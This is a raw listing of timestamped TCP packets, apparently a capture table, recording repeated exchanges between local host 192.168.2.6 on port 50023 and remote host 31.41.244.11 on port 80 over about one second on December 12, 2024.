Dec 12, 2024 21:51:05.569643974 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.569696903 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.569749117 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.569792032 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.577037096 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.577095032 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.577120066 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.577147007 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.618540049 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.618566036 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.618611097 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.618638039 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.690583944 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.690653086 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.690740108 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.693135977 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.693193913 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.693254948 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.698049068 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.699636936 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.699906111 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.699949980 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.700020075 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.702054024 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.704976082 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.705095053 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.705140114 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.710037947 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.710120916 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.710191011 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.714895964 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.715013981 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.715096951 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.719706059 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.720015049 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.720094919 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.724488020 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.724601030 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.724662066 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.729316950 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.729403019 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.729456902 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.734193087 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.734255075 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.734308004 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.738899946 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.739002943 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.739070892 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.743757010 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.743874073 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.743941069 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.748658895 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.748938084 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.748997927 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.752115965 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.752144098 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.752204895 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.755568981 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.755630016 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.755667925 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.755708933 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.759187937 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.759224892 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.759251118 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.759263039 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.762610912 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.762687922 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.762746096 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.766202927 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.766288042 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.766350031 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.770040989 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.770101070 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.770186901 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.773194075 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.773308039 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.773366928 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.776658058 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.776803017 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.776859999 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.780189037 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.780255079 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.780312061 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.783790112 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.783905983 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.783962011 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.787132978 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.787200928 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.882708073 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.882801056 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.882841110 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.882894039 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.884124041 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.884175062 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.884237051 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.884280920 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.887069941 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.887124062 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.887192011 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.887242079 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.890021086 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.890088081 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.890150070 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.890197992 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.892937899 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.892987967 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.893054962 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.893409967 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.895749092 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.895804882 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.895864964 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.898526907 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.898597956 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.898650885 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.898714066 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.901305914 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.901454926 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.901516914 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.903877020 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.904073000 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.904133081 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.906449080 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.906503916 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.906564951 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.906613111 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.908994913 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.909113884 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.909167051 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.911546946 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.911612034 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.911894083 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.911942959 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.913893938 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.913949013 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.914011955 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.914098978 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.916382074 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.916551113 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.916611910 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.918859959 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.918920994 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.919080019 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.919126987 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.921288013 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.921343088 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.921392918 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.923723936 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.923863888 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.923923969 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.926202059 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.926268101 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.926341057 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.926388025 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.928749084 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.928838968 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.928888083 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.931384087 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.931437016 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.931507111 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.931552887 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.933897972 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.933934927 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.933954000 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.933980942 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.936332941 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.936517954 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.936574936 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.938591003 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.938649893 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.939281940 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.939333916 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.941891909 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.941930056 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.941960096 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.941994905 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.943893909 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.943944931 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.944020033 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.944063902 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.946049929 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.946106911 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.946155071 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.948419094 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.948609114 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.948649883 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.948694944 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.950808048 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.950864077 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.950875998 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.950918913 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.953322887 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.953377962 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.953381062 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.953422070 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.955728054 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.955846071 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.955897093 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.958350897 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.958444118 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.958508968 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.960707903 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.960836887 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.960859060 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.960948944 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.963104010 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.963162899 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.963241100 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.963418007 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.965641975 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.965708971 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.965801954 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.965851068 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.968259096 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.968323946 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.968323946 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.968364000 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.970510006 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.970562935 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.970619917 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.970658064 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.972904921 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.973027945 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.973084927 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.975370884 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.975549936 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.975595951 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.977859020 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.977905989 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.978095055 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.978140116 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:05.980345964 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.980426073 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:05.980473995 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.076082945 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.076117039 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.076204062 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.077265978 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.077306986 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.077383041 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.077424049 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.078582048 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.078620911 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.078726053 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.078764915 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.080934048 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.080960989 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.081000090 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.082930088 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.082995892 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.084496021 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.084516048 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.084561110 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.084932089 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.084976912 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.086369991 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.086412907 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.086546898 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.086589098 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.088382006 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.088538885 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.088582039 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.090255976 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.090307951 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.090337992 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.090375900 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.092112064 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.092130899 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.092186928 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.093828917 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.093883038 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.093951941 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.093997955 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.095743895 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.095792055 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.095866919 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.095912933 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.097450972 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.097506046 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.097569942 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.097665071 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.099361897 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.099426031 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.099648952 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.099752903 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.101066113 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.101212978 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.101268053 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.102680922 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.102735996 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.102778912 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.102824926 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.104469061 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.104638100 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.104685068 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.106031895 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.106084108 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.106153965 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.106199026 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.107745886 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.107867956 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.107976913 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.109512091 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.109572887 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.109626055 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.109667063 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.111208916 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.111282110 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.111291885 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.111334085 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.112878084 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.113101959 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.113152981 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.114537001 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.114590883 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.114619017 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.114660978 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.116343975 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.116487026 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.116533995 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.118007898 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.118062019 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.118124962 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.118208885 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.119654894 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.119873047 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.119929075 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.121345997 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.121412039 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.121608973 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.121658087 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.123044014 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.123095036 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.123171091 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.123214960 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.124624968 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.124679089 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.124756098 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.124804020 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.126401901 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.126454115 CET	50023	80	192.168.2.6	31.41.244.11
